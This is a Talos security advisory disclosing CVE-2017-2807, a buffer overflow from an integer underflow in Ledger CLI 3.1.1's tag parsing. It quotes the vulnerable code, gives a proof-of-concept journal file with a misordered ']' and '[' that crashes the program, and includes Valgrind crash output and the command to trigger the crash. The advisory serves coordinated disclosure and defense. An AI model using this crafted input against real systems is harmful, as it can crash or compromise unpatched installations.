Talos Vulnerability Report

TALOS-2017-0303

Ledger CLI Tags Parsing Code Execution Vulnerability

August 30, 2017
CVE Number

CVE-2017-2807

Summary

An exploitable buffer overflow vulnerability exists in the tag parsing functionality of Ledger-CLI 3.1.1. A specially crafted journal file can cause a integer underflow resulting in code execution. An attacker can construct a malicious journal file to trigger this vulnerability.

Tested Versions

Ledger CLI 3.1.1

Product URLs

http://ledger-cli.org

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

Details

Ledger CLI is an accounting system accessed via the command line. Ledger leverages data provided by the user to provide very detailed financial reports and analytics.

When parsing the tags in a journal file, a size of the tag is constructed by subtracting two pointers pointing to the ends of the tag. This size is used directly to copy file data into a static buffer. This subtraction can result in an integer underflow, forcing a large value to be be used in the subsequent strnpcy.

src/items.cc:147

void item_t::parse_tags(const char * p,
                        scope_t&     scope,
                        bool         overwrite_existing)
{
if (! std::strchr(p, ':')) {
    if (const char * b = std::strchr(p, '[')) {
        if (*(b + 1) != '\0' &&
            (std::isdigit(*(b + 1)) || *(b + 1) == '=')) {
            if (const char * e = std::strchr(p, ']')) {
                char buf[256];
                std::strncpy(buf ,b + 1, static_cast<std::size_t>(e - b - 1));

An example journal file exercising this vulnerability is shown below:

$ cat poc.dat
2003/12/20 Organic Co-op
  Expenses:Food:Groceries             $ 37.50  ; ] [=2004/01/01]

Note the ] that comes before [ after the ;. These resultant pointers cause the integer overflow resulting in the buffer overflow.

Crash Information

==10500== Memcheck, a memory error detector
==10500== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==10500== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==10500== Command: ../ledger-3.1.1/ledger -f ../ledger-raw/test.poc reg
==10500==
==10500== Invalid write of size 1
==10500==    at 0x4C31644: __strncpy_sse2_unaligned (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==10500==    by 0x561FC19: ledger::item_t::parse_tags(char const*, ledger::scope_t&, bool) (item.cc:157)
==10500==  Address 0xfff001000 is not stack'd, malloc'd or (recently) free'd
==10500==
==10500==
==10500== Process terminating with default action of signal 11 (SIGSEGV)
==10500==  Access not within mapped region at address 0xFFF001000
==10500==    at 0x4C31644: __strncpy_sse2_unaligned (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==10500==    by 0x561FC19: ledger::item_t::parse_tags(char const*, ledger::scope_t&, bool) (item.cc:157)
==10500==  If you believe this happened as a result of a stack
==10500==  overflow in your program's main thread (unlikely but
==10500==  possible), you can try to increase the size of the
==10500==  main thread stack using the --main-stacksize= flag.
==10500==  The main thread stack size used in this run was 8388608.
==10500==
==10500== HEAP SUMMARY:
==10500==     in use at exit: 251,247 bytes in 143 blocks
==10500==   total heap usage: 228 allocs, 85 frees, 263,470 bytes allocated
==10500==
==10500== LEAK SUMMARY:
==10500==    definitely lost: 279 bytes in 6 blocks
==10500==    indirectly lost: 0 bytes in 0 blocks
==10500==      possibly lost: 0 bytes in 0 blocks
==10500==    still reachable: 250,968 bytes in 137 blocks
==10500==                       of which reachable via heuristic:
==10500==                         newarray           : 64 bytes in 4 blocks
==10500==                         multipleinheritance: 1,376 bytes in 1 blocks
==10500==         suppressed: 0 bytes in 0 blocks
==10500== Rerun with --leak-check=full to see details of leaked memory
==10500==
==10500== For counts of detected and suppressed errors, rerun with: -v
==10500== ERROR SUMMARY: 1 errors from 1 contexts (suppressed: 0 from 0)

Exploit Proof-of-Concept

./ledger -f poc.dat register

Timeline

2017-04-07 - Vendor Disclosure
2017-08-30 - Public Release

Credit

Discovered by Cory Duplantis of Cisco Talos.